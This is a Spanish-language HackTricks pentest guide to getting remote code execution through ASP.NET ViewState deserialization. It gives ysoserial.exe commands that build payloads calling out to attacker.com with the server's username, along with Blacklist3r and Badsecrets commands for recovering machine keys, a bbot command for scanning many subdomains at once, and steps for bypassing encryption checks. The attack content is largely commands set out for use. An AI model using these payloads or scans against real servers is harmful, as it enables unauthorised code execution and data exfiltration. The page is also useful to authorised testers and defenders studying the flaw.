16 KiB
Explotación de __VIEWSTATE sin conocer los secretos
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de HackTricks y HackTricks Cloud.
![](/Mirrors/hacktricks/media/commit/d6e46b5cdea2c8597784b2754ceac2ca8bc47115/.gitbook/assets/image%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Si estás interesado en una carrera de hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
Qué es ViewState
ViewState es el método que utiliza por defecto el framework ASP.NET para preservar valores de páginas y controles entre páginas web. Cuando se renderiza el HTML de la página, el estado actual de la página y los valores que necesitan ser retenidos durante el postback se serializan en cadenas codificadas en base64 y se muestran en el campo oculto ViewState o campos.
Las siguientes propiedades o combinación de propiedades se aplican a la información de ViewState:
- Base64
- Puede ser definido usando los atributos EnableViewStateMac y ViewStateEncryptionMode establecidos en false
- Base64 + MAC (Código de Autenticación de Mensajes) Habilitado
- Puede ser definido usando el atributo EnableViewStateMac establecido en true
- Base64 + Encriptado
- Puede ser definido usando el atributo viewStateEncryptionMode establecido en true
Casos de Prueba
Caso de Prueba: 1 – EnableViewStateMac=false y viewStateEncryptionMode=false
También es posible deshabilitar completamente el ViewStateMAC estableciendo la clave de registro AspNetEnforceViewStateMac
en cero en:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identificación de Atributos ViewState
Puede intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite:
Si Mac no se utiliza para proteger el parámetro, puede explotarlo usando YSoSerial.Net.
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Caso de prueba 1.5 – Como el Caso de prueba 1 pero el cookie ViewState no es enviado por el servidor
Los desarrolladores pueden eliminar ViewState para que no forme parte de una solicitud HTTP (el usuario no recibirá este cookie).
Se podría asumir que si ViewState no está presente, su implementación es segura frente a cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.
Sin embargo, eso no es así. Si añadimos el parámetro ViewState al cuerpo de la solicitud y enviamos nuestro payload serializado creado con ysoserial, todavía seremos capaces de lograr ejecución de código como se muestra en el Caso 1.
Caso de Prueba: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
Para habilitar ViewState MAC para una página específica necesitamos hacer los siguientes cambios en un archivo aspx específico:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
También podemos hacerlo para la aplicación overall configurándolo en el archivo web.config como se muestra a continuación:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Como el parámetro está protegido por MAC, esta vez para ejecutar el ataque con éxito primero necesitamos la clave utilizada. En este caso, BurpSuite nos informará de que el parámetro está protegido por MAC:
Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave utilizada.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no depende de Windows. Para viewstates de .NET, existe la utilidad "python blacklist3r", que es la forma más rápida de usarla.
Puede suministrarse directamente con el viewstate y el generador:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
O, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo badsecrets
BBOT:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Si tienes suerte y encuentras la clave, puedes proceder con el ataque utilizando YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
En casos donde el parámetro _VIEWSTATEGENERATOR
no es enviado por el servidor, no necesitas proporcionar el parámetro --generator
sino estos:
--apppath="/" --path="/hello.aspx"
Caso de prueba: 3 – .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true
En este caso, Burp no encuentra si el parámetro está protegido con MAC porque no reconoce los valores. Entonces, el valor probablemente está cifrado y necesitarás la Machine Key para cifrar tu payload para explotar la vulnerabilidad.
En este caso, el módulo Blacklist3r está en desarrollo...
Antes de .NET 4.5, ASP.NET puede aceptar un parámetro ___VIEWSTATE
_ sin cifrar de los usuarios incluso si ViewStateEncryptionMode
se ha establecido en Always. ASP.NET solo verifica la presencia del parámetro __VIEWSTATEENCRYPTED
en la solicitud. Si se elimina este parámetro y se envía el payload sin cifrar, aún se procesará.
Por lo tanto, si se conoce la Machinekey (por ejemplo, a través de un problema de recorrido de directorio), el comando de YSoSerial.Net utilizado en el Caso 2, se puede usar para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
- Elimina el parámetro
__VIEWSTATEENCRYPTED
de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de Viewstate y el exploit fallará como se muestra en la Figura:
Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos en false
Podemos forzar el uso del framework de ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.
<httpRuntime targetFramework="4.5" />
Alternativamente, esto se puede hacer especificando la opción a continuación dentro del parámetro machineKey
del archivo web.config.
compatibilityMode="Framework45"
Como en el caso anterior, Burp no identifica si la solicitud está protegida por MAC porque el valor está cifrado. Entonces, para enviar un payload válido, el atacante necesita la clave.
Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave que se está utilizando:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Para una descripción más detallada de IISDirPath y TargetPagePath consulte aquí
O, con Badsecrets (con un valor de generador):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Una vez identificada una clave de máquina válida, **el siguiente paso es generar un payload serializado utilizando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Si tienes el valor de __VIEWSTATEGENERATOR
, puedes intentar usar el parámetro --generator
con ese valor y omitir los parámetros --path
y --apppath
Si la vulnerabilidad de deserialización de ViewState se explota con éxito, un servidor controlado por el atacante recibirá una solicitud fuera de banda que contiene el nombre de usuario. Prueba de Concepto de Explotación Exitosa
Caso de Prueba 6 – Se está utilizando ViewStateUserKeys
La propiedad ViewStateUserKey se puede utilizar para defenderse contra un ataque CSRF. Si se ha definido tal clave en la aplicación y tratamos de generar el ViewState payload con los métodos discutidos hasta ahora, el payload no será procesado por la aplicación.
Necesitas usar un parámetro más para crear correctamente el payload:
--viewstateuserkey="randomstringdefinedintheserver"
Resultado de una Explotación Exitosa
Para todos los casos de prueba, si el payload de ViewState YSoSerial.Net funciona exitosamente, entonces el servidor responde con “500 Internal server error” teniendo contenido de respuesta “La información de estado es inválida para esta página y podría estar corrupta” y recibimos la solicitud OOB como se muestra en las Figuras a continuación:
solicitud fuera de banda con el nombre de usuario actual
Referencias
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
![](/Mirrors/hacktricks/media/commit/d6e46b5cdea2c8597784b2754ceac2ca8bc47115/.gitbook/assets/image%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Si estás interesado en una carrera en hacking y hackear lo inhackeable - ¡estamos contratando! (se requiere polaco fluido escrito y hablado).
{% embed url="https://www.stmcyber.com/careers" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.